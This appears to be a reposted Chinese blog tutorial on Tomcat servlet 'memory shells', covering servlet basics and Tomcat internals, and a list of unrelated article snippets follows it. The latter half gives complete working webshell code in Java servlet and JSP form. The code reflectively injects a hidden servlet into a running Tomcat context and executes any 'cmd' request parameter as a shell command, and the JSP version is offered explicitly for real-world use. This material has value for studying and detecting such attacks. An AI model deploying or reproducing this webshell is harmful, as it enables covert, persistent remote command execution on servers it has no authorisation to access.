servlet内存马学习

news2025/1/19 20:17:20

项目配置
在这里插入图片描述
在这里插入图片描述
注意一定要添加
在这里插入图片描述
否则访问路径会404,tomcat并没有对项目生效

1.实现javax.servlet.Servlet接口的方式

Servlet.class:

package org.test;

import javax.servlet.*;
import java.io.IOException;

public class ServletTest implements Servlet {
    @Override
    public void init(ServletConfig servletConfig) throws ServletException {
        System.out.println("init");
    }

    @Override
    public ServletConfig getServletConfig() {
        return null;
    }

    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        System.out.println("service");
    }

    @Override
    public String getServletInfo() {
        return null;
    }

    @Override
    public void destroy() {
        System.out.println("destroy");
    }
}

web.xml:

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <servlet>
        <servlet-name>demo1</servlet-name>
        <servlet-class>org.test.ServletTest</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>demo1</servlet-name>
        <url-pattern>/demo1</url-pattern>
    </servlet-mapping>
</web-app>

pom.xml:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>servlet_ncm</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-core</artifactId>
            <version>8.5.43</version>
        </dependency>

    </dependencies>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

</project>

效果:
启动后,访问url,可以看到成功输出init和service
在这里插入图片描述
停止后,可以看到输出destroy
在这里插入图片描述
注解的方式:

package org.test;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;

@WebServlet("/demo1")
public class ServletTest implements Servlet {
    @Override
    public void init(ServletConfig servletConfig) throws ServletException {
        System.out.println("init");
    }

    @Override
    public ServletConfig getServletConfig() {
        return null;
    }

    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        System.out.println("service");
    }

    @Override
    public String getServletInfo() {
        return null;
    }

    @Override
    public void destroy() {
        System.out.println("destroy");
    }
}

在这里插入图片描述

2.继承GenericServlet类创建Servlet

以下全是注解形式来看

package org.test;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;

@WebServlet("/demo2")
public class ServletTest extends GenericServlet{
    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        System.out.println("service");
    }
}

在这里插入图片描述

3.继承了HttpServlet进行创建

package org.test;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/demo3")
public class ServletTest extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {
        System.out.println("doGet...");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {
        System.out.println("doPost...");
        doGet(req,resp);
    }
}

在这里插入图片描述
其实看似使用三种创建Servlet的方式,但是实际上也是同一种方法进行创建的,是不同的的封装罢了。
在这里插入图片描述
由上图可知:
1.GenericServlet 是实现了 Servlet 接口的抽象类。
2.HttpServlet 是 GenericServlet 的子类,具有 GenericServlet 的一切特性。
3.Servlet 程序(MyServlet 类)是一个实现了 Servlet 接口的 Java 类。
调试javax.servlet.Servlet接口的方法触发对应Servlet的service方法
查看其调用栈
在这里插入图片描述
可以看到红框中是其调用栈

分析内存马注入的地方
javax.servlet.ServletContext接口中声明了几个和Servlet创建相关的方法
首先找createServlet
在这里插入图片描述
然后看其实现处
org.apache.catalina.core.ApplicationContextFacade
在这里插入图片描述
然后我们来看看addServlet
在这里插入图片描述
可以看到有三个重载方法,返回均为ServletRegistration.Dynamic类型
他在Tomcat容器中的实现
在这里插入图片描述

private ServletRegistration.Dynamic addServlet(String servletName, String servletClass,
        Servlet servlet, Map<String,String> initParams) throws IllegalStateException {

    if (servletName == null || servletName.equals("")) {
        throw new IllegalArgumentException(sm.getString(
                "applicationContext.invalidServletName", servletName));
    }

    if (!context.getState().equals(LifecycleState.STARTING_PREP)) {
        //TODO Spec breaking enhancement to ignore this restriction
        throw new IllegalStateException(
                sm.getString("applicationContext.addServlet.ise",
                        getContextPath()));
    }

    Wrapper wrapper = (Wrapper) context.findChild(servletName);

    // Assume a 'complete' ServletRegistration is one that has a class and
    // a name
    if (wrapper == null) {
        wrapper = context.createWrapper();
        wrapper.setName(servletName);
        context.addChild(wrapper);
    } else {
        if (wrapper.getName() != null &&
                wrapper.getServletClass() != null) {
            if (wrapper.isOverridable()) {
                wrapper.setOverridable(false);
            } else {
                return null;
            }
        }
    }

    ServletSecurity annotation = null;
    if (servlet == null) {
        wrapper.setServletClass(servletClass);
        Class<?> clazz = Introspection.loadClass(context, servletClass);
        if (clazz != null) {
            annotation = clazz.getAnnotation(ServletSecurity.class);
        }
    } else {
        wrapper.setServletClass(servlet.getClass().getName());
        wrapper.setServlet(servlet);
        if (context.wasCreatedDynamicServlet(servlet)) {
            annotation = servlet.getClass().getAnnotation(ServletSecurity.class);
        }
    }

    if (initParams != null) {
        for (Map.Entry<String, String> initParam: initParams.entrySet()) {
            wrapper.addInitParameter(initParam.getKey(), initParam.getValue());
        }
    }

    ServletRegistration.Dynamic registration =
            new ApplicationServletRegistration(wrapper, context);
    if (annotation != null) {
        registration.setServletSecurity(new ServletSecurityElement(annotation));
    }
    return registration;
}

来解读这一段代码
1.首先同样会判断当前程序是否处于运行状态,如果处在运行状态就会抛出异常
2.之后将会在context中通过servletName查找对应的child并将其转化为Wrapper对象
3.如果没有找到,将会创建一个Wrapper对象,在添加进入servletName之后将wrapper添加进入context的child中去
4.如果servlet为空的话,将会创建一个ServletClass, 并加载这个Class
5.之后如果存在初始化参数的时候,将进行初始化操作
6.最后创建了一个ApplicationServletRegistration类,通过带入wrapper和context
也就是程序在运行过程中不能添加Servlet的限制,那么如何绕过呢?
在这里插入图片描述
进入ApplicationServletRegistration#addMapping方法
在这里插入图片描述
通过调用了StardContext#addServletMappingDecoded方法传入了url映射,在mapper中添加 URL 路径与 Wrapper 对象的映射。
在这里插入图片描述
可以看到wrapper是findChild(name)获得的,之后通过wrapper.addMapping增添了映射,很明显,大概的流程我们已经知道了。
1.首先创建一个自定义的Servlet类
2.对Wrapper进行封装
3.再将封装之后的wrapper添加进入StandardContext类中的children中去
4.最后通过调用addServletMappingDecoded方法添加url映射

内存马编写:

package org.test;

import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Scanner;

@WebServlet("/test")
public class servlet_ncm extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        //从req中获取ServletContext对象
        String name = "RoboTerh";
        ServletContext servletContext = req.getServletContext();
        if (servletContext.getServletRegistration(name) == null) {
            StandardContext o = null;

            // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
            while (o == null) {
                Field f = null;
                try {
                    f = servletContext.getClass().getDeclaredField("context");
                    f.setAccessible(true);
                    Object object = f.get(servletContext);
                    if (object instanceof ServletContext) {
                        servletContext = (ServletContext) object;
                    } else if (object instanceof StandardContext) {
                        o = (StandardContext) object;
                    }
                } catch (NoSuchFieldException e) {
                    throw new RuntimeException(e);
                } catch (IllegalAccessException e) {
                    throw new RuntimeException(e);
                }


            }


            //1.创建自定义servlet
            Servlet servlet = new Servlet() {

                @Override
                public void init(ServletConfig config) throws ServletException {

                }

                @Override
                public ServletConfig getServletConfig() {
                    return null;
                }

                @Override
                public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
                    String cmd = req.getParameter("cmd");
                    boolean islinux = true;
                    String osType = System.getProperty("os.name");
                    if (osType != null && osType.toLowerCase().contains("win")) {
                        islinux = false;
                    }
                    String[] cmds = islinux ? new String[]{"/bin/bash", "-c", cmd} : new String[]{"cmd.exe", "-c", cmd};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\a"); //Scanner类,这是一个用于扫描输入文本的新的实用程序,useDelimiter( )方法,可以将分隔符号修改为"回车",或者其他字符。
                    String output = s.hasNext() ? s.next() : "";
                    PrintWriter out = res.getWriter();
                    out.println(output);
                    out.flush();
                    out.close();
                }

                @Override
                public String getServletInfo() {
                    return null;
                }

                @Override
                public void destroy() {

                }
            };
            //2.对Wrapper进行封装
            Wrapper wrapper = o.createWrapper();
            wrapper.setName(name);
            wrapper.setLoadOnStartup(1);
            wrapper.setServlet(servlet);

            //3.将封装之后的wrapper添加进入StandardContext类中的children中去
            o.addChild(wrapper);

            //4.用addServletMappingDecoded方法添加url映射
            o.addServletMappingDecoded("/hhh",name);

            PrintWriter printWriter = resp.getWriter();
            printWriter.println("servlet added");

        }
    }
}

效果:
在这里插入图片描述

在这里插入图片描述
自己写的出点问题,用原作者的吧

package org.test;

import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Scanner;

@WebServlet("/test2")
public class servlet_ncm2 extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            String name = "RoboTerh";
            //从req中获取ServletContext对象
            ServletContext servletContext = req.getServletContext();
            if (servletContext.getServletRegistration(name) == null) {
                StandardContext o = null;

                // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
                while (o == null) {
                    Field f = servletContext.getClass().getDeclaredField("context");
                    f.setAccessible(true);
                    Object object = f.get(servletContext);

                    if (object instanceof ServletContext) {
                        servletContext = (ServletContext) object;
                    } else if (object instanceof StandardContext) {
                        o = (StandardContext) object;
                    }
                }

                //自定义servlet
                Servlet servlet = new Servlet() {
                    @Override
                    public void init(ServletConfig servletConfig) throws ServletException {

                    }

                    @Override
                    public ServletConfig getServletConfig() {
                        return null;
                    }

                    @Override
                    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
                        String cmd = servletRequest.getParameter("cmd");
                        boolean isLinux = true;
                        String osTyp = System.getProperty("os.name");
                        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                            isLinux = false;
                        }
                        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                        Scanner s = new Scanner(in).useDelimiter("\\a");
                        String output = s.hasNext() ? s.next() : "";
                        PrintWriter out = servletResponse.getWriter();
                        out.println(output);
                        out.flush();
                        out.close();
                    }

                    @Override
                    public String getServletInfo() {
                        return null;
                    }

                    @Override
                    public void destroy() {

                    }
                };

                //用Wrapper封装servlet
                Wrapper newWrapper = o.createWrapper();
                newWrapper.setName(name);
                newWrapper.setLoadOnStartup(1);
                newWrapper.setServlet(servlet);

                //向children中添加Wrapper
                o.addChild(newWrapper);
                //添加servlet的映射
                o.addServletMappingDecoded("/hhh2", name);

                PrintWriter printWriter = resp.getWriter();
                printWriter.println("servlet added");
            }
        }
        catch (Exception e) {
            e.printStackTrace();
        }
    }
}

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以看到内存马成功执行

为了实战方便,写到jsp中,这里将获得StandardContext换了写法,更加方便

<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.io.IOException" %>
<%@ page import="sun.invoke.util.Wrapper" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%

  Servlet servlet = new Servlet() {
  @Override
  public void init(ServletConfig servletConfig) throws ServletException {

  }

  @Override
  public ServletConfig getServletConfig() {
    return null;
  }

  @Override
  public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException, IOException {
    String cmd = servletRequest.getParameter("cmd");
    boolean isLinux = true;
    String osTyp = System.getProperty("os.name");
    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
      isLinux = false;
  }
    String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
    Scanner s = new Scanner(in).useDelimiter("\\a");
    String output = s.hasNext() ? s.next() : "";
    PrintWriter out = servletResponse.getWriter();
    out.println(output);
    out.flush();
    out.close();
  }

  @Override
  public String getServletInfo() {
  return null;
  }

  @Override
  public void destroy() {

  }
  };
%>
<%
  //用Wrapper封装servlet
  String name = "aaa";
  org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
  StandardContext o = (StandardContext)webappClassLoaderBase.getResources().getContext();
  org.apache.catalina.Wrapper newWrapper = o.createWrapper();
  newWrapper.setName(name);
  newWrapper.setLoadOnStartup(1);
  newWrapper.setServlet(servlet);

  //向children中添加Wrapper
  o.addChild(newWrapper);
  //添加servlet的映射
  o.addServletMappingDecoded("/hhh3", name);

  %>

效果:
在这里插入图片描述
可以看到没有,那么先来加载jsp文件
在这里插入图片描述
再访问内存马
在这里插入图片描述
成功访问到内存马

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/943617.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

华为OD机试 - MELON的难题 - 动态规划(Java 2023 B卷 100分)

目录 一、题目描述二、输入描述三、输出描述四、动态规划五、解题思路六、Java算法源码七、效果展示1、输入2、输出3、说明 华为OD机试 2023B卷题库疯狂收录中&#xff0c;刷题点这里 一、题目描述 MELON有一堆精美的雨花石(数量为n&#xff0c;重量各异)&#xff0c;准备送给…

为什么很多干了四五年的老IT告诉你算法没用?

文章目录 前言认知决定上限为什么学算法&#xff1f;为什么很多干了四五年的老IT告诉你算法没用&#xff1f;怎么学算法&#xff1f;算法集训 前言 英雄算法联盟八月集训 已经接近尾声&#xff0c;九月算法集训将于 09月01日 正式开始&#xff0c;目前已经提前开启报名&#xf…

学乐多光屏P90:引领儿童智慧教育新时代

随着科技的迅猛发展&#xff0c;儿童教育正经历着深刻变革。在这个引领变革的浪潮中&#xff0c;学乐多光屏P90以其卓越的特性和教育价值&#xff0c;成为了儿童智慧教育的引领者&#xff0c;为孩子们打开了通向知识世界的大门。 学乐多光屏P90的独特之处在于其融合了触摸和投影…

图像生成模型

监督学习 与 无监督学习 监督学习 数据&#xff1a;&#xff08;x, y&#xff09; X是数据&#xff0c;Y是标签 目标&#xff1a;学习一个从x到y的函数映射 样例&#xff1a;分类、回归、物体检测、语义分割、描述 无监督学习 数据&#xff1a;&#xff08;x&#xff09; 只有…

DPI 设置和获取

DPI设置与获取之前请保证程序已经打开DPI感知或者在清单文件嵌入DPI感知&#xff0c;否则API可能获取的值不准确 方法一:GetScaleFactorForMonitor 通过枚举显示器获取不同设备的DPI&#xff0c;获取的是实际DPI static BOOL CALLBACK MonitorEnumProc(HMONITOR hMonitor,HDC…

11.2.1-通货膨胀CPI

文章目录 1. 什么是CPI2. 在哪里获取CPI数据3. CPI的同比、环比到底是什么意思&#xff1f;4. 计算购买力侵蚀5. 复利计算 微不足道的小事也会引发惊人的结果&#xff0c; 每念及此&#xff0c; 我就认为世上无小事。——布鲁斯巴登&#xff08;Bruce Barton&#xff09; 核心内…

2023年9月DAMA-CDGA/CDGP数据治理认证考试,火热报名

据DAMA中国官方网站消息&#xff0c;2023年度第三期DAMA中国CDGA和CDGP认证考试定于2023年9月23日举行。 报名通道现已开启&#xff0c;相关事宜通知如下&#xff1a; 考试科目: 数据治理工程师(CertifiedDataGovernanceAssociate,CDGA) 数据治理专家(CertifiedDataGovernanc…

[NSSCTF 2nd] NSS两周年纪念赛。

都说开卷有益&#xff0c;其实作题也有益&#xff0c;每打一次总能学到点东西。 PWN NewBottleOldWine 这个没作出来&#xff0c;一时还不明白RISC-V64怎么弄本地环境&#xff0c;不过看了WP感觉很简单&#xff0c;取flag用不着环境。 IDA不给翻译了&#xff0c;一点点看汇…

资源分享| 4种聚类算法及可视化(Python)

在这篇文章中&#xff0c;基于20家公司的股票价格时间序列数据。根据股票价格之间的相关性&#xff0c;看一下对这些公司进行聚类的四种不同方式。 苹果&#xff08;AAPL&#xff09;&#xff0c;亚马逊&#xff08;AMZN&#xff09;&#xff0c;Facebook&#xff08;META&…

035 - datetime和timedstamp

该DATETIME类型用于包含日期和时间部分的值。MySQL检索并DATETIME以格式显示 值 。支持的范围是 到。 YYYY-MM-DD hh:mm:ss1000-01-01 00:00:009999-12-31 23:59:59 该TIMESTAMP数据类型被用于同时包含日期和时间部分的值。 UTCTIMESTAMP的范围是UTC。 1970-01-01 00:00:01203…

gitlab提交项目Log in with Access Token错误

目录 报错信息 问题描述 解决方案 报错信息 问题描述 在提交项目到gitlab时&#xff0c;需要添加账户信息 &#xff0c;但是报了这样一个错&#xff0c;原因应该就是路径问题&#xff0c;我在填写server地址的时候&#xff0c;就出现了路径问题&#xff0c;我把多余的几个/…

为啥这么多公司用 ZooKeeper?它到底解决了什么问题?

ZooKeeper 介绍 ZooKeeper 很流行&#xff0c;有个基本的疑问&#xff1a; ZooKeeper 是用来做什么的&#xff1f; 之前没有ZK&#xff0c;为什么会诞生 ZK&#xff1f; OK&#xff0c;解答一下上面的疑问&#xff1a;&#xff08;下面是凭直觉说的&#xff09; ZooKeeper …

前端项目部署,阿里云服务器部署前端项目,超详细

需求背景&#xff1a;作为一个前端&#xff0c;特别身处于中小公司时&#xff0c;对于部署也需要有所了解。本次就介绍前端基础的项目部署。本次使用的是阿里云服务器进行的部署 部署核心步骤 1.准备打包好的前端代码&#xff08;dist包&#xff09;或者是一个html文件 2.购买…

Day49|动态规划part10:188.买卖股票的最佳时机IV、121. 买卖股票的最佳时机、122.买卖股票的最佳时机II

188. 买卖股票的最佳时机IV leetcode链接&#xff1a;188 题「买卖股票的最佳时机 IVopen in new window」 视频链接&#xff1a;动态规划来决定最佳时机&#xff0c;至多可以买卖K次&#xff01;| LeetCode&#xff1a;188.买卖股票最佳时机4 给你一个整数数组 prices 和一…

【考研数学】概率论与数理统计 —— 第二章 | 一维随机变量及其分布(2,常见随机变量及其分布 | 随机变量函数的分布)

文章目录 引言三、常见的随机变量及其分布3.1 常见的离散型随机变量及其分布律&#xff08;一&#xff09;&#xff08;0-1&#xff09;分布&#xff08;二&#xff09;二项分布&#xff08;三&#xff09;泊松分布&#xff08;四&#xff09;几何分布&#xff08;五&#xff0…

利用R作圆环条形图

从理念上看&#xff0c;本质就是增加了圆环弧度的条形图。如上图2。 需要以下步骤&#xff1a; 数据处理&#xff0c;将EXCEL中的数据做成3*N的表格导入系统&#xff0c;代码如下&#xff1a;library(tidyverse) library(stringr)library(ggplot2)library(viridis) stuper &…

电脑连不上网?学会这5个方法,不用愁!

“怎么回事呢&#xff1f;我的电脑一直连不上网。尝试了好多个方法都还是不行。大家遇到这种情况的时候都是怎么处理的呀&#xff1f;” 在现代生活中&#xff0c;电脑连接到网络已经成为必不可少的一部分。如果电脑无法联网&#xff0c;可能会影响我们的工作和娱乐。那么&…

Scrum敏捷研发迭代式开发

Scrum是一个迭代式增量软件开发过程&#xff0c;是敏捷方法论中的重要框架之一。它通常用于敏捷软件开发&#xff0c;包括了一系列实践和预定义角色的过程骨架。Scrum中的主要角色包括Scrum主管&#xff08;Scrum Master&#xff09;、产品负责人&#xff08;Product Owner&…

【已解决】ZooKeeper配置中出现Error contacting service. It is probably not running

ZooKeeper配置中出现Error contacting service. It is probably not running 问题 安装zookeeper&#xff0c;启动报错了 Error contacting service. It is probably not running 思路 tail -100f logs/zookeeper-root-server-node1.itcast.cn.out 查看日志报错 zoo.cfg没…

LinuxShell变量

变量&#xff1a; 命名规则&#xff1a; 在Shell中&#xff0c;变量名可以由字母、数字或者下划线组成&#xff0c;并且只能以字母或者下划线开头。对于变量名的长度&#xff0c;Shell并没有做出明确的规定。因此&#xff0c;用户可以使用任意长度的字符串来作为变量名。但是…